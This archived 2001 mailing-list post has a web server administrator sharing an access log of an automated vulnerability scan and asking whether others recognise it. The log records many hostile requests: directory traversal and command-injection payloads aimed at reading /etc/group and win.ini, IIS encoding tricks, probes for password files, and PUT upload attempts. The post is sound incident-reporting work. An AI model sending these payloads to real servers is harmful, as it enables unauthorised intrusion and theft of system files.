Very thorough scan of web apps-

From: jamie rishaw (jamieat_private)
Date: Tue Aug 14 2001 - 11:09:53 PDT
Next message: Ryan Russell: "Re: Code Red II hit in July???"
Previous message: Gary Flynn: "Re: MSIIS servers patched/de-doored, but C and D keep coming back"
Next in thread: Hugo van der Kooij: "Re: Very thorough scan of web apps-"
Reply: Hugo van der Kooij: "Re: Very thorough scan of web apps-"
Reply: J Jewitt: "Re: Very thorough scan of web apps-"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hardcore scan of our web server.. Does this look familiar to anyone?

[ LOG :: ]

69warp87.newtel.com - - [14/Aug/2001:12:56:16 -0400] "QUIT" 501 -
69warp87.newtel.com - - [14/Aug/2001:13:06:18 -0400] "QUIT" 401 -
69warp87.newtel.com - - [14/Aug/2001:13:07:35 -0400] "GET /n0nexi5tent_fi1e.html HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:35 -0400] "GET /n0nexi5tent_fi1e.html HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:36 -0400] "GET / HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:36 -0400] "GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/group
HTTP/1.0" 400 371
69warp87.newtel.com - - [14/Aug/2001:13:07:36 -0400] "GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini
HTTP/1.0" 400 
375
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400] "GET /../../../../../etc/group HTTP/1.0" 400 351
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400] "GET /../../../../../winnt/win.ini HTTP/1.0" 400 355
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400] "GET /../../../../..winnt/win.ini HTTP/1.0" 400 354
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400] "GET /.../.../.../.../.../etc/group HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400] "GET /.../.../.../.../.../winnt/win.ini HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400] "GET /../../../../../etc/group HTTP/1.0" 400 351
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400] "GET /../../../../../winnt/win.ini HTTP/1.0" 400 355
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400] "GET /cgi-bin/webdist.cgi?distloc=;/bin/cat%20/etc/group
HTTP/1.0" 40
4 284
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgi-bin/campas?%0acat%0a/etc/group%0a HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgi-bin/htmlscript?../../../../../../etc/group
HTTP/1.0" 404 28
3
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgi-bin/php.cgi?/etc/group HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgi-bin/pfdispaly?../../../../../../etc/group
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:40 -0400] "GET /cgi-bin/pfdispaly.cgi?../../../../../../etc/group
HTTP/1.0" 404
 286
69warp87.newtel.com - - [14/Aug/2001:13:07:40 -0400] "GET /cgi-bin/view-source?../../../../../../etc/group
HTTP/1.0" 404 2
84
69warp87.newtel.com - - [14/Aug/2001:13:07:40 -0400] "GET /cgi-bin/htsearch?exclude=%60/etc/group%60 HTTP/1.0" 404
281
69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET
/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/cat%20/etc/g
roup HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET /cgi-bin/faxsurvey?/bin/cat%20/etc/group HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET /cgi-bin/counterfiglet/nc/f=;cat%20/etc/group
HTTP/1.0" 404 307
69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET /cgi-bin/calendar_admin.pl?config=|cat%20/etc/group|
HTTP/1.0" 4
04 290
69warp87.newtel.com - - [14/Aug/2001:13:07:42 -0400] "GET
/cgi-bin/calendar/calendar_admin.pl?config=|cat%20/etc/group| HT
TP/1.0" 404 299
69warp87.newtel.com - - [14/Aug/2001:13:07:42 -0400] "GET
/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/group%00 HTTP
/1.0" 404 300
69warp87.newtel.com - - [14/Aug/2001:13:07:42 -0400] "GET
/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/grou
p HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:07:42 -0400] "GET
/cgi-bin/netauth.cgi?cmd=show&page=../../../../../../../../../et
c/group HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:07:43 -0400] "GET /cgi-bin/htgrep?file=index.html&hdr=/etc/group
HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:07:43 -0400] "GET
/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../..
/../../etc/group%00 HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:43 -0400] "GET
/search97cgi/vtopic?action=view&ViewTemplate=../../../../../etc/
group HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:44 -0400] "GET /cgi-bin/multihtml.pl?multi=/etc/group%00html
HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:44 -0400] "GET /cgi-bin/query?mss=../config HTTP/1.0" 404 278
69warp87.newtel.com - - [14/Aug/2001:13:07:44 -0400] "GET /cgi-bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/group
HTTP/1.0" 40
0 377
69warp87.newtel.com - - [14/Aug/2001:13:07:44 -0400] "GET /cgi-bin/webplus?script=/../../../../etc/group
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:45 -0400] "GET /cgi-bin/webplus.exe?script=/../../../../etc/group
HTTP/1.0" 404
 284
69warp87.newtel.com - - [14/Aug/2001:13:07:45 -0400] "GET /cgi-bin/webplus.cgi?script=/../../../../etc/group
HTTP/1.0" 404
 284
69warp87.newtel.com - - [14/Aug/2001:13:07:45 -0400] "GET
/cgi-bin/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20Content-Type
:%20text%2Fhtml%3Becho%20%20%3B%20cat%20%2Fetc%2Fgroup%00 HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:07:46 -0400] "GET /cgi-bin/bbs_forum.cgi?read=../../../../etc/group
HTTP/1.0" 404 
286
69warp87.newtel.com - - [14/Aug/2001:13:07:46 -0400] "GET /cgi-bin/bbs/bbs_forum.cgi?read=../../../../etc/group
HTTP/1.0" 
404 290
69warp87.newtel.com - - [14/Aug/2001:13:07:46 -0400] "GET /cgi-bin/man-cgi?%20/etc/group%20 HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:46 -0400] "GET /opendir.php?requesturl=/etc/group HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:47 -0400] "GET
/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4
vZXRjL2dyb3VwAAo HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:47 -0400] "GET
/cgi-bin/talkback.cgi?article=../../../../../etc/group%00&action
=view&matchview=1 HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:47 -0400] "GET /cgi-bin/cal_make.pl?p0=../../../../../etc/group%00
HTTP/1.0" 40
4 284
69warp87.newtel.com - - [14/Aug/2001:13:07:47 -0400] "GET
/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/group HTTP
/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:07:48 -0400] "GET /cgi-bin/test-cgi HTTP/1.0" 403 285
69warp87.newtel.com - - [14/Aug/2001:13:07:48 -0400] "GET /cgi-bin/dumpenv.pl HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:07:48 -0400] "GET /cgi-bin/nph-test-cgi HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:49 -0400] "GET /cgi-bin/wwwboard.pl HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:07:52 -0400] "GET /cgi-bin/wwwboard.cgi HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:52 -0400] "GET /cgi-bin/wwwboard HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/wrap HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/wrap.pl HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/wrap.cgi HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/finger HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:07:54 -0400] "GET /cgi-bin/finger.pl HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:54 -0400] "GET /cgi-bin/finger.cgi HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:07:54 -0400] "GET /cgi-bin/phf HTTP/1.0" 302 290
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgi-bin/handler HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgi-bin/info2www HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgi-bin/textcounter.pl HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgi-bin/glimpse HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgi-bin/aglimpse HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgi-bin/webgais HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgi-bin/www-sql HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgi-bin/websendmail HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:07:57 -0400] "GET /cgi-bin/jj HTTP/1.0" 404 275
69warp87.newtel.com - - [14/Aug/2001:13:07:57 -0400] "GET /cgi-bin/count.cgi HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:57 -0400] "GET /cgi-bin/imagemap.exe HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "GET /catinfo HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "/cgi-bin/saint_test_cgi HTTP/1.0" 400 -
69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "GET /cgi-bin/csh HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "GET /cgi-bin/bash HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET /cgi-bin/zsh HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET /cgi-bin/ash HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET /cgi-bin/ksh HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET /cgi-bin/sh HTTP/1.0" 404 275
69warp87.newtel.com - - [14/Aug/2001:13:08:00 -0400] "GET /cgi-bin/perl HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:08:00 -0400] "GET /cgi-bin/perl.exe HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:08:00 -0400] "GET /cgi-bin/tcsh HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:08:01 -0400] "GET /cgi-win/uploader.exe HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:01 -0400] "GET /cgi-dos/args.bat HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:01 -0400] "GET /cgi-dos/args.cmd HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:01 -0400] "GET /cgi-shl/win-c-sample.exe HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:02 -0400] "GET /shop/product.asp HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:02 -0400] "GET /shop/product.ast HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:02 -0400] "GET /scripts/c32web.exe/ChangeAdminPassword HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:02 -0400] "GET /pccsmysqladm/incs/dbconnect.inc HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:03 -0400] "GET /servlet/sunexamples.BBoardServlet HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:03 -0400] "GET /_private/shopping_cart.mdb HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:03 -0400] "GET /piranha/secure/passwd.php3 HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:04 -0400] "GET /scripts/cart32.exe/cart32clientlist HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:04 -0400] "GET /scripts/emurl/RECMAN.dll HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:04 -0400] "GET /cgi-bin/guestbook.cgi HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:08:04 -0400] "GET /cgi-bin/guestbook.pl HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:08:05 -0400] "GET /cgi-bin/excite HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:08:05 -0400] "GET /site/eg/source.asp HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:05 -0400] "GET /cgi-bin/w3-msql/index.html HTTP/1.0" 404 291
69warp87.newtel.com - - [14/Aug/2001:13:08:06 -0400] "GET /cgi-bin/wais.pl HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:08:06 -0400] "GET /cgi-bin/wais/wais.pl HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:08:06 -0400] "GET /ddrint/bin/ddicgi.exe HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:06 -0400] "GET /cgi-bin/db2www HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:08:07 -0400] "GET /cgi-bin/db2www.exe HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:08:07 -0400] "GET /search97cgi/vtopic HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:07 -0400] "GET /cgi-bin/webplus HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:08:08 -0400] "GET /cgi-bin/webplus.exe HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:08:08 -0400] "GET /cgi-bin/webplus.cgi HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:08:08 -0400] "GET /dsgw/bin/search HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:08 -0400] "GET /pbserver/pbserver.dll HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:09 -0400] "GET /cgi-bin/statsconfig.pl HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:08:09 -0400] "GET /cgi-bin/wwwwais HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:08:09 -0400] "GET /cgi-bin/pi HTTP/1.0" 404 275
69warp87.newtel.com - - [14/Aug/2001:13:08:09 -0400] "GET /cgi-bin/post-query HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:08:10 -0400] "GET /cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report
HTTP/1.0" 404
 314
69warp87.newtel.com - - [14/Aug/2001:13:08:10 -0400] "GET /cgi-bin/websync.exe HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:08:10 -0400] "GET /globals.pl HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:11 -0400] "GET /process_bug.cgi HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:11 -0400] "GET /cfdocs/expeval/exprcalc.cfm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:11 -0400] "GET /cfdocs/expeval/openfile.cfm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:11 -0400] "GET /cfdocs/exampleapp/docs/sourcewindow.cfm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:12 -0400] "GET /cfdocs/cfmlsyntaxcheck.cfm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:12 -0400] "GET /cfdocs/snippets/viewexample.cfm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:12 -0400] "GET /CFIDE/Administrator/startstop.html HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:13 -0400] "GET /iissamples/exair/howitworks/codebrws.asp HTTP/1.0" 401
468
69warp87.newtel.com - - [14/Aug/2001:13:08:13 -0400] "GET /iissamples/sdk/asp/docs/codebrws.asp HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:13 -0400] "GET /iissamples/exair/howitworks/code.asp HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:14 -0400] "GET /msadc/samples/selector/showcode.asp HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:14 -0400] "GET /_vti_bin/_vti_aut/Dvwssr.dll HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:14 -0400] "GET //WEB-INF/ HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:14 -0400] "GET /./WEB-INF/web.xml HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:15 -0400] "GET
/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../..
/../../../winnt/win.ini HTTP/1.0" 400 413
69warp87.newtel.com - - [14/Aug/2001:13:08:15 -0400] "GET
/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../..
/../../../etc/group HTTP/1.0" 400 409
69warp87.newtel.com - - [14/Aug/2001:13:08:15 -0400] "GET /_vti_pvt/service.pwd HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:15 -0400] "GET /_vti_pvt/users.pwd HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:16 -0400] "GET /_vti_pvt/authors.pwd HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:16 -0400] "GET /_vti_pvt/administrators.pwd HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:16 -0400] "PUT /saint.txt HTTP/1.0" 400 370
69warp87.newtel.com - - [14/Aug/2001:13:08:16 -0400] "PUT /cgi-bin/saint.txt HTTP/1.0" 400 370
69warp87.newtel.com - - [14/Aug/2001:13:08:17 -0400] "GET /msadc/msadcs.dll/ActiveDataFactory.Query HTTP/1.0" 401
468
69warp87.newtel.com - - [14/Aug/2001:13:08:17 -0400] "GET / HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:17 -0400] "GET /?wp-cs-dump HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:17 -0400] "INDEX / HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:18 -0400] "GET /exec/show/config/cr HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:18 -0400] "GET /pls HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:18 -0400] "GET /pls/admin_/gateway.htm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:19 -0400] "GET /_ncl_subjects.shtml HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:19 -0400] "GET /ncl_subjects.html HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:09:05 -0400] "GET
/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir
+c:+.exe HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:09:05 -0400] "GET /."./."./winnt/win.ini%20.php3 HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:09:05 -0400] "GET /global.asp\ HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:09:06 -0400] "POST /cgi-bin/search.pl HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:09:06 -0400] "GET /.nsf/../winnt/win.ini HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:09:38 -0400] "GET /n0nexi5tent_fi1e.html HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:09:38 -0400] "GET /n0nexi5tent_fi1e.html HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:09:38 -0400] "GET / HTTP/1.0" 200 8883
69warp87.newtel.com - - [14/Aug/2001:13:09:39 -0400] "GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/group
HTTP/1.0" 400 372
69warp87.newtel.com - - [14/Aug/2001:13:09:39 -0400] "GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini
HTTP/1.0" 400 
376
69warp87.newtel.com - - [14/Aug/2001:13:09:39 -0400] "GET /../../../../../etc/group HTTP/1.0" 400 352
69warp87.newtel.com - - [14/Aug/2001:13:09:40 -0400] "GET /../../../../../winnt/win.ini HTTP/1.0" 400 356
69warp87.newtel.com - - [14/Aug/2001:13:09:40 -0400] "GET /../../../../..winnt/win.ini HTTP/1.0" 400 355
69warp87.newtel.com - - [14/Aug/2001:13:09:40 -0400] "GET /.../.../.../.../.../etc/group HTTP/1.0" 404 295
69warp87.newtel.com - - [14/Aug/2001:13:09:40 -0400] "GET /.../.../.../.../.../winnt/win.ini HTTP/1.0" 404 299
69warp87.newtel.com - - [14/Aug/2001:13:09:41 -0400] "GET /../../../../../etc/group HTTP/1.0" 400 352
69warp87.newtel.com - - [14/Aug/2001:13:09:41 -0400] "GET /../../../../../winnt/win.ini HTTP/1.0" 400 356
69warp87.newtel.com - - [14/Aug/2001:13:09:41 -0400] "GET /cgi-bin/webdist.cgi?distloc=;/bin/cat%20/etc/group
HTTP/1.0" 40
4 285
69warp87.newtel.com - - [14/Aug/2001:13:09:42 -0400] "GET /cgi-bin/campas?%0acat%0a/etc/group%0a HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:09:42 -0400] "GET /cgi-bin/htmlscript?../../../../../../etc/group
HTTP/1.0" 404 28
4
69warp87.newtel.com - - [14/Aug/2001:13:09:42 -0400] "GET /cgi-bin/php.cgi?/etc/group HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:42 -0400] "GET /cgi-bin/pfdispaly?../../../../../../etc/group
HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET /cgi-bin/pfdispaly.cgi?../../../../../../etc/group
HTTP/1.0" 404
 287
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET /cgi-bin/view-source?../../../../../../etc/group
HTTP/1.0" 404 2
85
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET /cgi-bin/htsearch?exclude=%60/etc/group%60 HTTP/1.0" 404
282
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET
/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/cat%20/etc/g
roup HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET /cgi-bin/faxsurvey?/bin/cat%20/etc/group HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET /cgi-bin/counterfiglet/nc/f=;cat%20/etc/group
HTTP/1.0" 404 308
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET /cgi-bin/calendar_admin.pl?config=|cat%20/etc/group|
HTTP/1.0" 4
04 291
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET
/cgi-bin/calendar/calendar_admin.pl?config=|cat%20/etc/group| HT
TP/1.0" 404 300
69warp87.newtel.com - - [14/Aug/2001:13:09:45 -0400] "GET
/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/group%00 HTTP
/1.0" 404 301
69warp87.newtel.com - - [14/Aug/2001:13:09:45 -0400] "GET
/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/grou
p HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:09:45 -0400] "GET
/cgi-bin/netauth.cgi?cmd=show&page=../../../../../../../../../et
c/group HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET /cgi-bin/htgrep?file=index.html&hdr=/etc/group
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET
/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../..
/../../etc/group%00 HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET
/search97cgi/vtopic?action=view&ViewTemplate=../../../../../etc/
group HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET /cgi-bin/multihtml.pl?multi=/etc/group%00html
HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgi-bin/query?mss=../config HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgi-bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/group
HTTP/1.0" 40
0 378
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgi-bin/webplus?script=/../../../../etc/group
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgi-bin/webplus.exe?script=/../../../../etc/group
HTTP/1.0" 404
 285
69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET /cgi-bin/webplus.cgi?script=/../../../../etc/group
HTTP/1.0" 404
 285
69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET
/cgi-bin/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20Content-Type
:%20text%2Fhtml%3Becho%20%20%3B%20cat%20%2Fetc%2Fgroup%00 HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET /cgi-bin/bbs_forum.cgi?read=../../../../etc/group
HTTP/1.0" 404 
287
69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET /cgi-bin/bbs/bbs_forum.cgi?read=../../../../etc/group
HTTP/1.0" 
404 291
69warp87.newtel.com - - [14/Aug/2001:13:09:49 -0400] "GET /cgi-bin/man-cgi?%20/etc/group%20 HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:49 -0400] "GET /opendir.php?requesturl=/etc/group HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:09:49 -0400] "GET
/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4
vZXRjL2dyb3VwAAo HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:09:49 -0400] "GET
/cgi-bin/talkback.cgi?article=../../../../../etc/group%00&action
=view&matchview=1 HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:50 -0400] "GET /cgi-bin/cal_make.pl?p0=../../../../../etc/group%00
HTTP/1.0" 40
4 285
69warp87.newtel.com - - [14/Aug/2001:13:09:50 -0400] "GET
/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/group HTTP
/1.0" 404 293
69warp87.newtel.com - - [14/Aug/2001:13:09:50 -0400] "GET /cgi-bin/test-cgi HTTP/1.0" 403 286
69warp87.newtel.com - - [14/Aug/2001:13:09:50 -0400] "GET /cgi-bin/dumpenv.pl HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:09:51 -0400] "GET /cgi-bin/nph-test-cgi HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:51 -0400] "GET /cgi-bin/wwwboard.pl HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:09:51 -0400] "GET /cgi-bin/wwwboard.cgi HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:54 -0400] "GET /cgi-bin/wwwboard HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:09:55 -0400] "GET /cgi-bin/wrap HTTP/1.0" 404 278
